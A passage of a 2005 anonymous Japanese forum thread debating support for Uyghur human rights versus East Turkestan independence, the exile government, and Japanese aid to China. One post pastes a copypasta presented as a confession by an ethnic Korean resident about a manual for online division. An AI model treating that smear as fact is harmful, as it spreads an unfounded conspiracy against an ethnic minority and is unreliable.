ウイグル太郎が大変なものわかるが、亡命政府は独立目標あっての独立政府なんだなってあらためて思った。
↓のブログ読んで、中国の弾圧を非難する運動まではいいけど、平和ボケで育ったおいらが安易に人命を左右するような独立問題には関わるのべきでないと思った。

http://kok2.no-blog.jp/tengri/
このうち「人権抑圧反対」はいいとして、東トルキスタン独立運動をウイグル人による一枚岩の「民族自決」要求の運動としてとらえるのはあまりにナイーブで、危険でもある。
簡単に言えば、そういった立場は、地域の中に住む漢族とウイグル人以外の諸民族(カザフ人、キルギス人・・)のことを全く考慮に入れていないし、
またウイグル人社会内部に存在するあまりに大きな意識の隔たり(漢族ともなんとかうまくやっていきたいと思うものから、あいつらブッ殺したる、というものまで)も無視されている。
要するにその「支持」が本当にそこに暮らしている人々のためになっているのかどうか、という内省がないことが気になるのだ。


844 :以下、名無しにかわりましてVIPがお送りします:2005/10/29(土) 23:43:36 ID:MvKyFG3o0
二度書きスマンorz
回線不安定で・・・
age

845 :頂!:2005/10/30(日) 00:02:26 ID:JbRs2Q350
ディープインパクトのるぽ@NHKに萌、 関係ないかww

846 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 00:08:40 ID:FLbQBxmI0
>>841
圧政をしていた者が権力の座から追われた時には、その報いを受けるのは当然だと思う訳だが。

847 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 00:40:42 ID:E3UQknNU0
あげます

848 :たらこ@ミラー2:2005/10/30(日) 00:53:34 ID:ZeY5w4n40
>835
GJ!お疲れさまでした。
ミラー2へ転載しました

849 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:11:30 ID:M6Uw8Gew0
おっぱあああああああい!!

850 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:14:09 ID:dJ51Dy0D0
>>846
まぁ,その意見もわかるけど,自分たちが支援した運動の結果,それまでの弾圧に
原因があるとしても,殺人等が起きるのは気分のいいものではない.


851 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:16:32 ID:OBpBGd1P0
>>850
「自分が」なら個人の考え方の違いだと思うけど、「自分達が」と言うからには納得しかねる。

852 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:19:54 ID:IF5g19mz0
檄文
今、法政大学学生会館の存在が窮地に立たされています。
国家権力と法政大学当局の学生自治への不当な弾圧により法政大学学友4名が公安警察により逮捕されています。
その中には学生会館を運営している理事長と事務局長が含まれており、このままもし起訴されるようなことがあれば
学生会館を運営している法政大学学生連盟は混乱状態になるとして、学生単独管理という今の状況を法政大学
当局が不当に認めないこととなることが予想されます。
この事件の不当性は、理事長の逮捕容疑が威力業務妨害と建造物不法侵入とされているが、その事件の時間帯には
理事長はカレー屋でカレーを売っていたという証言が多数あることからも判断できるのである。この事件を利用して法政大学
当局が公安警察を介して学生自治を弾圧しようとしていることは明白である。大学当局による弾圧行為は1977年5月27日の308人
学友逮捕以来25年ぶりの不当行為である。この事実を法政大学学友及び関東学生探検連盟関係者諸氏は断固として認める
わけにはいかない。明日1月26日午後7時より、1・26法政大学当局追及学生集会が行われ、法政大学学生部長に対して公安警察を通じた
不当捜査の取りやめと大学当局が出した被害届の取り下げによる4人の学友の奪還釈放を要求する。不当逮捕は基本的人権の侵害
にあたる。それに抗議するため明日学友及び関東学生探検連盟関係諸氏に集会の参加を求める。関東学生探検連盟はその創設以来
法政大学学生会館を総会の会場として利用してきた。その恩義に報いるため、また我々の権利を守るため、関東学生探検連盟関係者
諸氏に集会の参加を呼びかけるものである。

1998年度関東学生探検連盟副会長  戸田聡 ・ 林剛
http://www.karin.sakura.ne.jp/~tanken/renmei/

後期探検報告会の講演者は 【本多勝一氏】(予定)
http://www.karin.sakura.ne.jp/~tanken/renmei/soukai/00/zenki-houkokukai-houkoku.htm

イラク侵略戦争断固阻止!ムスリム人民と連帯を!
http://www.surfline.ne.jp/ibn-stoda/saddamposter01.htm

http://www.geocities.co.jp/SilkRoad-Lake/4673/buinnsyoukai.htm
8回生 林剛 通信教育学部経済学部商業学科4年
部友 戸田聡 明治大学大学院文学研究科史学専攻博士前期過程3年

853 :850:2005/10/30(日) 01:20:42 ID:dJ51Dy0D0
>>851
あぁ,そうか.「自分たち」はまずいね.
>>850の「自分たち」を「自分」に訂正.

854 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:21:40 ID:9TiPwzfKO
殺人予告発生
http://c-au.2ch.net/test/-/base/1130601845/10

855 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:30:13 ID:PIH+qa7z0
>>842
いろいろな意見があっていいと思う、ただそのブログの人は論理的に矛盾している。
その人は独立支援に批判的だが、そのブログの論理に従えば、それすらおこがましいことになる。
ウイグル人がやっている活動を日本人が批判しているのだから。
当事者であるETCの趣旨に賛同して支援する日本人がいるなら
それでいいではないだろうか。
支援する彼らを「思慮が浅い」というなら、おごり以外の何物でもない。
それともウイグル独立派は民心から乖離した異分子であるという確証があるのだろうか?

856 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:42:47 ID:bX/xN7Y30
亡命政府が絡むと荒れがちになるね。
まあこのスレも弾圧は非難するも独立は支援しない方針なんだし。
そのルールには従いましょ。



857 :841:2005/10/30(日) 01:46:42 ID:Bj78IYIr0
>>846
思いませんし、そうならない方向にしたいものです。

東トルキスタンにおける民族の割合が、ウイグル族が45%という
バランスも不安。もともと90%以上であるという歴史からして
他民族に対しての扱いが不安。まぁ、国旗を複数民族向けに
したらそれはそれで内ゲバみたいになりそうだけど。

亡命政府ってなんたら解放戦線にたいして釘をささないと、
あとあと困るんじゃない。

858 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:47:45 ID:XOB68rFe0
>>856
それって、もう結論が出てたように思うけど。
スレとしては、ウイグル人権侵害メインだけど、
「独立を支援したい人は支援する」って。

859 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:51:27 ID:XOB68rFe0
>>857
それは中共の移民政策の所産だよ。
そもそもテュルク系民族の「〜族」ってのも、民族分断政策の
結果なところもあるし。
一概には言えないよ。

860 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:54:04 ID:bX/xN7Y30
独立支援しないのは初代スレからの流れだぞ。
まとめサイトのトップの最後見ろよ。
このスレでは既に決定事項なんだよ。
途中参戦か?

独立支援したいなら別スレ立てたほうがいいよ。
そうしないと荒れてスレ自体がだめになる。

861 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 01:56:30 ID:OBpBGd1P0
独立後に漢人が残ってたら、また新たな火種になるだろ。
もっとも、そんな心配今の所必要なさそうだけど。

862 :841:2005/10/30(日) 01:59:49 ID:Bj78IYIr0
>>855
民心は関係ありません。

個人的には東トルキスタン地区における人権侵害の排除です。
スレのテーマとしてはウイグル人への人権侵害がメインだと思います。

自分は驕りといわれてもかまいません。
「独立を支援したい人」にこれこれこういう可能性がありますよって
きづいたら書のは悪いことでは無いと思います。

863 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 02:01:44 ID:OBpBGd1P0
東トルキスタン独立を支援するスレ。

東トルキスタン独立を支援するOFF
http://off3.2ch.net/test/read.cgi/offmatrix/1128224213/

東トルキスタン独立支援のお願い
http://human5.2ch.net/test/read.cgi/ms/1128511110/

864 :858:2005/10/30(日) 02:01:58 ID:yHWNVszM0
>>860
>独立支援しないのは

それはわかってる。
ただ独立派を支援するのは、個人の自由ということ。
スレを読んでくれ、そういう流れだから。

865 :858:2005/10/30(日) 02:05:59 ID:yHWNVszM0
>>862
>民心は関係ありません。

それを言ったら,そのブログを引用した意味がなくなるよ。

「君の意見と、他の人の意見は異なることがある。」
それでは駄目かな?

866 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 02:12:56 ID:bX/xN7Y30
>>864
個人の自由は当たり前だよ。
むしろ束縛しようにもできない。

ただその意見をこのスレに反映させるなという事。
2chは不特定多数でやってる掲示板だ。意思が統一できるわけなかろう。

このスレは独立支援しないとう事で苦労して立ち上げた経緯を身てきた。
なぜモナパルトがまとめページに太字でさいごに記載したかも俺はよくわかる。
スレのルールには従えよ。


スレの成り立ちの時点で主張が違うなら別スレ立てるのは当然だろ。
スレ立てる気もなく書き続けるのは荒らしと呼ばれてもおかしくないぞ。

867 :864:2005/10/30(日) 02:22:23 ID:JCoh/sTa0
>>866
>個人の自由は当たり前だよ。
>むしろ束縛しようにもできない。

だったら、いいじゃないか。
なぜ禁止事項を作るのか?
君の言うとおり「個人の自由」を尊重しよう。

868 :841:2005/10/30(日) 02:27:02 ID:Bj78IYIr0
>>867
最初の二行しか読んでないようですね。残念です。
>>863に行ってみてはどうですか?
あなたの考えに近い方々いるかもしれませんよ。

869 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 02:30:54 ID:OBpBGd1P0
このスレは必ずしも独立を支援するものではない。
でも、人権問題解決の手段として、独立を支援する人が居たっていいジャマイカ。

870 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 02:32:37 ID:bX/xN7Y30
>>867
お前の事がわかったよ。
もう相手しない。


そんな君にコピペ送るよ。寝よっと。おやすみ〜。
最後に支援age!

831 本当にあった怖い名無し 2005/09/28(水) 14:10:51 ID:ACmuCpGB0
自分は在曰(帰化申請中です…)ですが、
みなさんの言うホロン部(笑)というようなものの活動は確かにあります。
その中で教官から渡されるものに色んなネットでの工作活動の
マニュアルがあるのですが、少しだけ御紹介すると
分断演習というマニュアルには日本人同士の様々な対立を煽るというもので
2chの一部における野球ファンとサッカーファンの露骨な対立関係も
我々が色々と装った成果ですし、イチローファンや松井ファンの
対立も我々が煽ってます。マニュアルには
「一つのIDでどちらかのファンを装い片方を徹底的に叩き
国籍や祖国に関する指摘・煽りは徹底無視」と言うような感じで
なるべくばれないようこのマニュアルに従い努力しております



871 :864:2005/10/30(日) 02:38:22 ID:n6EkSx4A0
>>870

「ああ、そうですか」としか言えない。
ホロン部を引き合いに出してるけど、
俺の書き込みは反日でしたか?
むしろ俺としては、君の意見は「中国共産党そのもの」だったけどね。

872 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 02:40:01 ID:3UuGZ9bM0
おまえたち。
大望を同じくする者同士、もっと仲良くしなさーい。

873 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 02:44:37 ID:XJ5WpUUu0
>>872
だな。
あげ。

874 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 02:45:58 ID:lfiecl8Y0
こういった意見が活発に取り交わせるのは、スレが健全な証拠だと思います。
喧嘩腰の口調になってしまうとアレですがw

現地の人々が、この問題についてどう考えてるのか…
ここの処が本当に知りたいなぁと、真剣に考えてます。

875 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 02:49:36 ID:bX/xN7Y30
>>871
寝る前に聞いときたい。
どーやったらそんなにID変えられるんだ?
人権擁護スレは単発IDのホロン部よく出現するけど
まさか・・・本物だった?

イチローと松井の対立煽るのも反日かwwwwww?
とにかく揉めりゃーいいんだろ。ホロン部ってよ。
今度は本当に寝ま〜す。
支援age



858 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/10/30(日) 01:47:45 ID:XOB68rFe0
864 名前:858[] 投稿日:2005/10/30(日) 02:01:58 ID:yHWNVszM0
871 名前:864[] 投稿日:2005/10/30(日) 02:38:22 ID:n6EkSx4A0

876 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 02:49:43 ID:Gqtih7za0
つまり、東トルキスタンを支持するな、って人もいるわけだ。
さあ、面白くなってきたお。

877 :871代理:2005/10/30(日) 02:53:18 ID:xz5Pzb6s0
>>875
IDは回線切ると変わるよ。

878 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 03:04:07 ID:3UuGZ9bM0
正確に言うと、ケーブルやYBBなどの固定IPでなければ、IDは回線切る度に変わるよ。

879 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 03:58:17 ID:qo96dkvD0
しえんあげ

880 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 04:22:30 ID:qo96dkvD0
ねまs age

881 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 05:29:26 ID:ZzUSlRFK0
おいC

882 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 08:37:13 ID:vz5xuWyX0
おぱーい!

883 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 09:38:08 ID:yRsFvLrY0
>>835
ウイグル太郎さん、織瀬さん、ありがとうございます。
表現の仕方が過激なのとか、中共への恨みつらみが多いのとかは、それだけのことをされてきたのだから仕方が無いとは思うんだけど、日本人好みではないでしょうね。


>・トルキスタン現地の人々にどの程度指示されているのか
>それで、東トルキスタン国民は55年ぶりに自分の政府が出来た、と大きな希望を持っています。

自分たちの政府だと認める人、どの程度いるんでしょう?数字で出すことができないんで答え辛いでしょうが。
例えば他の団体が、自分たちこそ正統な政府だと言い出したときでも、今の東トルキスタン亡命政府が大多数の支持を得られるんでしょうか?
元大統領とか、レジスタンスのリーダーとか、そういう分かりやすいシンボルではないので。
これによっては支援する側の取り組みようも変わると思います。

884 : ◆RXpf54Ttr6 :2005/10/30(日) 10:14:39 ID:i/9tIRK60
認めるかどうかって考えるとウイグル人に聞くしかないんだよね。
中国旅行のついでに遊びに行くか、世界中に散らばっているウイグル人に聞くか。

ただ、彼らの存在が国際的に認められない限りは人権問題も弾圧問題も
世界的に「存在しない」ことになるだろうから
そのための支援って段階じゃないかと考えてる。

人権問題も独立問題もその後の話だろうね。
まずは団体を認知させるってのが第一義じゃないかな。
Abdujelili Qaraqashとのやりとりではそう感じる。

885 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 12:14:49 ID:qo96dkvD0
age!

886 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 12:59:33 ID:qo96dkvD0
支援あげです

887 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 14:38:54 ID:qo96dkvD0
支援であります!

888 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 15:25:56 ID:M6Uw8Gew0
おっぱーーーい!!!!!

889 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 16:30:11 ID:vz5xuWyX0
op!!

890 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 17:15:48 ID:ZzUSlRFK0


891 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 17:23:14 ID:ObPlb86B0
age

892 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 17:27:16 ID:YLeQTh8X0
>>884
>まずは団体を認知させるってのが第一義じゃないかな。

だよな、東トルキスタンはあまりにも知名度が低い。
つか、俺も昨日今日知ったにわかだし。

893 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 18:20:37 ID:qo96dkvD0
支援
作業がはかどらないorz

894 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 19:33:34 ID:qo96dkvD0
アゲ!

895 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 20:22:05 ID:qo96dkvD0
頂!

896 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 20:39:10 ID:A2JtaC0M0
>>884
亡命政府関係者から東トルキスタンへの電話は盗聴されている可能性が
高いし、メールだって安全とはいえない。

そういう状況では亡命政府だって東トルキスタン国民の生の声を
拾うのは難しい。国民にも危険が伴うし。

興味を持った人は、ぜひ現地に行ってどう思っているか聞いてきてほしい
ものだ。
ひとりが聞ける量は限界があっても、みんなで聞けばそれなりに
東トルキスタン国民の世論が見えてくるんじゃないかな。

ただ現地の人の本音を聞きだすのは至難の業。
ツアーなんかで行っても絶対彼らは本音なんかいわないよ。


897 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 20:43:32 ID:eo2VYLB00
そもそも、東トルキスタンって簡単に行けるのか?
ウルムチとかは別にして、南部のウイグル人が多い所とか。
NHKの取材も「特別な許可を得て…」って言ってたぞ。

898 :fjell:2005/10/30(日) 21:08:36 ID:u9xeZqrb0
>>883 あぁ。507さん=綾瀬さんだったんですねー。お疲れさまです。

土曜日は、北欧関係のシンポジウムに参加し、久々に勉強したのでクタクタ..と、チラシ裏。
スレ違いですが、某国の方の発言が印象的でした。

「日本は、大国のご機嫌ばかりを伺っているように思えます。
皆さんは、友達を選ぶときに、背の高い順に決めますか? 大きな石と小さなダイヤと、どちらを選びますか?」

大きな石=中国、と脳内変換してププ。

>>884
> まずは団体を認知させるってのが第一義じゃないかな。

同意。まずは、人権問題のアピールが大切だと思います。

1993年の、イスラエルとPLOとのパレスチナ暫定自治協定のときにも、
相互の強硬路線派は、穏健派を「裏切り者」と非難し続け、
この調停に臨んだイスラエルのラビン首相は、1995年に和平反対派に暗殺されてしまいました...

独立問題は奥が深すぎて...
ただ、国際的なアピールが遅れれば遅れるほど、漢民族の比率が増え、
ウイグル自治区を故郷とする漢民族系住民が増加するでしょう。
その結果、ユーゴのように民族問題がややこしくなる恐れがあります。

899 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 22:04:27 ID:WQ3fFOH90
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.  /           ヽ,|::::: ヽ,     リ,,r〈~~〉 )::i'::::ii:::::: t:::::::リ:: i ::j:::: / ::/⌒t::/   ん あ 最 中
 / 死 そ す 口 わ  ヽ:::::  ~'''ー---i|リ ( (  |:::ヽ;::|i:::::: i|::::ノ::ノ:::ノ:::::ノ j::  /   ∫ た 高 国
./.  ぬ. し る づ. た   t、::::: :::::::::::::ii|( ヽ ヽ::ヽ::::|:ヽ;;;;;;ノ::/:::/::::/::::r":::ノ:::  /    ∫ え. の 共
i   が て の け. し    | ~'' ー- 、、;;;;i|、,,〉i r-ー='ヽ三三三r''''''''''''' ー - 、":;、-'''|    ∫ よ 名 産
|   よ    だ を の    |.       |二ir'"";;;= ,、ミ;rー、:::彡;r=eニ'z、:::::::::tt'-ー|    ∫ .う 誉 党
|   い.    :.    ブ    |       i 'iーii:''''''` ̄ ̄リ:::::"、::Y::::;; ii""::::::'''""ii-―|    ふ  :. を に
t.  //         |    /      /こニ=7:::::::::;;r,、t⌒j''",、,,)''::::ミ、 、-ー'"二二ヽ   ふ
.t  ・・.         ツ.  /      ,リミ二ン/:::::'"" ヽ;ヽ:::::~:::r"  `'''::'ii i ' 、   ,,,,,ヽ  ふ
 ヽ          に ,/       i it',-ー'/::::i|,,,、-'"ソ;;;;;;;;ソ、"""、''-、:::|rヽミ二",,、|:: ヽ、_        ,、
  ~'ー、          <        ,i |:::::ゝ,/リリiiif",;rfr'ニニニ'''=;;ヌi、 :└― ''''":::::::ヽ  |::::ノノ――― '''"ー、
     ~'''ー----ー'''"二ニ-ー''''''''''""~~レ:::::'彡 '" "リ"ii`''''''''' """""´,,~i||ii 'iiii从从||"t;;;;:::::ヽ|:::::::::::::::::::::::::::::::::::::::
        ,,,、-ー'''":::::::::::;rー ー、:::::::::::::::/シ  彡ツイiii`~~~~~~~~~iiiii、、i||| | iii从从ii|ヽ| t:::::::::::r二二)::::::::::::::::::::::

900 :fjell:2005/10/30(日) 22:09:50 ID:u9xeZqrb0
延々とスレ違いかも...ですが、東トルキスタン周辺の国々と日本の関係を
外務省のWebサイトでチェック。(カザフスタン、キルギス、タジキスタンだけだけど)

1997年、橋龍政権下で「対シルクロード地域外交」政策始動
地理的な特徴と地下資源等戦略的な重要性に目を向けている。

興味深いなぁ...と思うのは、
あの鈴木ムネヲ氏が、過去にタジキスタンに注目していたこと。やけに訪問回数が多い(汗
http://www.mofa.go.jp/mofaj/area/tajikistan/kankei.html
鈴木氏失脚後、川口前外相が2002年にカザフスタンと関係強化宣言の共同声明を出したこと。
http://www.mofa.go.jp/mofaj/area/kazakhstan/k_kyodo.html

町村外相は特に動きなし。万博Yearだったからかなぁ
それとも中央アジアの戦略を立てられる人材がいないからかなぁ

まぁ、だからなんだというわけじゃありませんが、
地下資源を保有し、民主的な国家(転換直後でも)は、日本にとって実際的なプレゼンスがあるはず。

901 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 22:36:49 ID:BXtj3TWZ0
今週号の週プレ 中国関連で自称グリーンベレーの柘植久慶がウイグル支援しる!
と電波を飛ばしている。

902 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 22:38:38 ID:lYRrhqlr0
a

903 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 22:44:19 ID:BXtj3TWZ0
>>900
鈴木宗男をタジキスタンに送り込んだのは小泉純一郎。
そのことは佐藤優の「国家の罠」に書いてあった。

904 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 23:16:12 ID:2XhH3iHg0
頂!

905 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 23:17:48 ID:JbRs2Q350
>>900
ソースなしで御免なさいだけど、どうも企業の利権がらみな思惑がプンプンします。

中央アジアハイウエー構想なんて話題にされてた時期もありました。
営利運営を取り込んだ中国共産党と日本の外交が結びついていたとしてもな〜〜んも不思議じゃありませんもの。

ことに、近年の正常がらみの情報からそんな推測もしたくなります。
でなければ、あれほど中国共産党政権に固執する政治家がいる理由が無くなってしまいます。
それは、そのまま日本の外務省の体質に直結してますよ。

中国建設銀行なんていう、とんでもないのができ日本の証券会社も引き受け開始してるようです。
この問題をかじってると、東トルキスタンというよりも「日本は本当に大丈夫か?」といいたくなります。

日本さえ中国への間接直接の支援を止めれば、すぐにもあの政権は崩壊するとさえ思われます。


906 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 23:27:29 ID:9Zpimtnh0
なら日本政府に中国へのODA廃止凸は間接的に効果ありなのかな

907 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 23:28:12 ID:QjrdiMwz0
対中ODAは廃止になるんじゃなかったっけ?

908 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 23:34:35 ID:qo96dkvD0
日本政府は、25日に公表された2005年版政府開発援助(ODA)白書の中で、
2008年北京オリンピック開催前までに中国向けの円借款援助を停止することが分かった。

909 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 23:42:21 ID:1TfLoG230
頂!!!

910 :以下、名無しにかわりましてVIPがお送りします:2005/10/30(日) 23:50:31 ID:9Zpimtnh0
そうか。
中と半端な知識しかなくてスマンです。

911 :fjell:2005/10/31(月) 00:23:19 ID:WUnGTSL40
>>903 なるほど。国家の自爆、もとい「国家の自縛」は読んだのですが、そちらは未読です。
佐藤氏は優秀な方なので(と思う)、ぜひ復活してほしいとも思いますが、
地方分権を考える上で、中央の金を土建屋ルートで地方に回すのはいたしかたない、
みたいなクダリでちと萎えました。そんな70年代的(つーか日本の伝統的な手法)はいかがなもんかと...

>>905 「アジアハイウェー構想」ありますね。
構想自体は1959年国連採択で、ルートは東南・南アジアを結ぶもの。
当初、中国・韓国、中央アジアは未参加だったそうです。
まぁ今では...

日本のODAは一部ですが、日本の商社や土木建設企業に還元されます。
中央の資金をODAルートでばら撒いて、一部日本企業と政府系組織が甘い蜜を吸うとな。
もちろん、崇高な志をお持ちの方もいらっしゃるでしょうけど。

ザパニーズビジネスマンは、駐在国(と料理と女)に惚れ込む傾向があるので、
現地の人々とは割と仲良くなりやすいし、現地の文化に対して理解する努力を行うので
決して悪い人たちではないとも思うんですが...複雑ですね。。

>>908 ODAという形式ではなく、より間接的なルートで、政府系金融組織が、
対中国貸付を行うという記事を見たような...

まぁ、日本が資金援助をしなくとも、EUや北米のどこかが名乗りを上げるでしょう。
他国の外資にとられるくらいなら、中国様に恩を売っておけ、という焦りもあるんでしょうな。
今の政治家さんや官僚さんや大企業さんたちは、もう少しじっくりと日本の未来を考えてほしいもんですね。
「恫喝」という非国際的な外交方法をとる国に対しては、大人としての対応をしたほうがいい。
この点においては、佐藤氏に同意。

早いところ、チャイナ・クラッシュ(中国経済の崩壊)が起きれば、どさくさに紛れて
東トルキスタン独立...も夢ではないと思います。。

912 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 00:28:33 ID:vTCtuCxW0
>>908
円「借款」って事は、当然返済要求できるんだよね?

913 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 00:48:34 ID:z6HDCHvP0
http://www.amazon.co.jp/exec/obidos/ASIN/4750316830/qid=1130687074/sr=8-1/ref=sr_8_xs_ap_i1_xgl/250-6725642-1714652
この本に書いてあったんだけど、日本使節団を歓迎した中央アジアの国は
基本的に大量のODAがぶち込まれてる。
外交って、けっこういいかげんなものだな。

914 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 01:16:05 ID:VbgKCivH0
上のほうでNHKについてウイグル太郎さんにメールしたものだが。
こんなメールが来てた、英語が得意な人お願いします。

-----------------------------------------------------------
下記の日本語を英語に翻訳して頂ければ幸いです。

東トルキスタン共和国亡命政府
   日本名誉領事館


915 :fjell:2005/10/31(月) 01:23:27 ID:WUnGTSL40
>>913 おぉ。中央アジア専門図書だ。知らないことがたくさんあって、追いつかないです。
そういえば、外務省に乗り込むとおっしゃっていた方は、その後どうなったでしょう...

関係ないけど、在米中国大使館のWebサイトに、「Human rights」という項目を発見。
http://www.china-embassy.org/eng/zt/zgrq/default.htm

在日中国大使館よりは電波度が弱い気がするのは、対美国工作?

しかし...まぁ。EUの武器禁輸措置に関するプレスリリースが、傑作です。
China opposes EU's linking of ban-lifting with human rights(05/10/05)
http://www.china-embassy.org/eng/zt/zgrq/default.htm

EU諸国が中国国内の人権問題を問題視して、中国への武器輸出禁止措置をとっているが、
中国はこの問題を改善するよう真摯な態度で取り組んでいる...みたいなことを述べた直後、
いきなりトピックが日中関係問題に。。。
During World War Two, Japan invaded China in 1937 and surrendered in 1945 after two atom bombs were dropped on Hiroshima and Nagasaki.
During the eight-year war 35,000,000 Chinese died.

中国人の死者数350万人? 一千万人、と書かないところがなんとも巧妙というか...
しかも、原爆投下について言及し、アメリカ人にもチクリ...

なんだかな。。。やっぱり電波でした。中華思想の嵐。



916 :914:2005/10/31(月) 01:32:51 ID:VbgKCivH0

「東トルキスタン共和国亡命政府
   日本名誉領事館 」
の英訳はこれでいいっすか?

The east Turkistan republic defection government
Japanese honored consulate


917 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 01:34:14 ID:QythJtGm0
●ttp://www.toyo-bunko.or.jp/ceacs/CentralAsia.html
[東洋文庫ホーム → オンライン検索メニュー → 中央アジア研究文献目録の検索]

fjell氏は活発ですね、ここはもうご存知ですか? (戦前の中央アジア研究は凄いと思いました

地方なので読みたくても読めない(悲しさT_T)


918 :たらこ@ミラー2:2005/10/31(月) 01:36:41 ID:Xjuu1kb/0
>914
日本名誉領事館: Honorary Consulate of Japan
東トルキスタン亡命政府: East Turkestan government in exile
で合ってると思う。

919 :914:2005/10/31(月) 01:43:28 ID:VbgKCivH0
>>918
ありがとう、本当に感謝します。

920 :fjell:2005/10/31(月) 01:52:10 ID:WUnGTSL40
>>917
おお、これは。ありがとうございます。
すべては、東トルキスタン問題を知ってからの付け焼刃。。

話をブリ返しますが、ODA関連のスレ in 東ア+
【政治】外務省反発! ODA、首相直轄に「戦略本部」を新設 政府検討 [10/30] 
http://news18.2ch.net/test/read.cgi/news4plus/1130632441/l50



921 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:00:35 ID:fwlcnyRc0
>>915
中国人の死者は3500万人、だね。
当時の中国人口の1割くらいに相当かな?
あいかわらず日・本・軍・最・強wwwwwwww
どーしてこんな安易な数字出すかね・・・
三国志の大軍=100万人軍勢みたいなやり方だなwwwww
ひょっとして数がかぞえら(

922 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:08:48 ID:vTCtuCxW0
日中戦争における中国人死者。

時代                 犠牲者数     ソース

終戦時                130万人    GHQ
終戦時                130万人    国民党政府
1948年                438万人    国民党政府報告書
1950年代              1000万人    共産党政権
1970年                1800万人   共産党政権
1985年(抗日勝利40周年)    2100万人   共産党政権
1998年(江沢民来日時)     3500万人    江沢民
2005年(抗日勝利50周年)    5000万人   卞修躍博士

このペースだと、あと50年後には20億人だなwwwwwww

923 :以下、名無しにかわりましてVIPがお送りします:2005/10/31(月) 02:28:50 ID:GUmx7hfU0
檄文
今、法政大学学生会館の存在が窮地に立たされています。
国家権力と法政大学当局の学生自治への不当な弾圧により法政大学学友4名が公安警察により逮捕されています。
その中には学生会館を運営している理事長と事務局長が含まれており、このままもし起訴されるようなことがあれば
学生会館を運営している法政大学学生連盟は混乱状態になるとして、学生単独管理という今の状況を法政大学
当局が不当に認めないこととなることが予想されます。
この事件の不当性は、理事長の逮捕容疑が威力業務妨害と建造物不法侵入とされているが、その事件の時間帯には
理事長はカレー屋でカレーを売っていたという証言が多数あることからも判断できるのである。この事件を利用して法政大学
当局が公安警察を介して学生自治を弾圧しようとしていることは明白である。大学当局による弾圧行為は1977年5月27日の308人
学友逮捕以来25年ぶりの不当行為である。この事実を法政大学学友及び関東学生探検連盟関係者諸氏は断固として認める
わけにはいかない。明日1月26日午後7時より、1・26法政大学当局追及学生集会が行われ、法政大学学生部長に対して公安警察を通じた
不当捜査の取りやめと大学当局が出した被害届の取り下げによる4人の学友の奪還釈放を要求する。不当逮捕は基本的人権の侵害
にあたる。それに抗議するため明日学友及び関東学生探検連盟関係諸氏に集会の参加を求める。関東学生探検連盟はその創設以来
法政大学学生会館を総会の会場として利用してきた。その恩義に報いるため、また我々の権利を守るため、関東学生探検連盟関係者
諸氏に集会の参加を呼びかけるものである。

1998年度関東学生探検連盟副会長  戸田 聡 ・ 林 剛
http://www.karin.sakura.ne.jp/~tanken/renmei/

後期探検報告会の講演者は 【本多勝一氏】(予定)
http://www.karin.sakura.ne.jp/~tanken/renmei/soukai/00/zenki-houkokukai-houkoku.htm

イラク侵略戦争断固阻止!ムスリム人民と連帯を!
http://www.surfline.ne.jp/ibn-stoda/saddamposter01.htm

http://www.geocities.co.jp/SilkRoad-Lake/4673/buinnsyoukai.htm
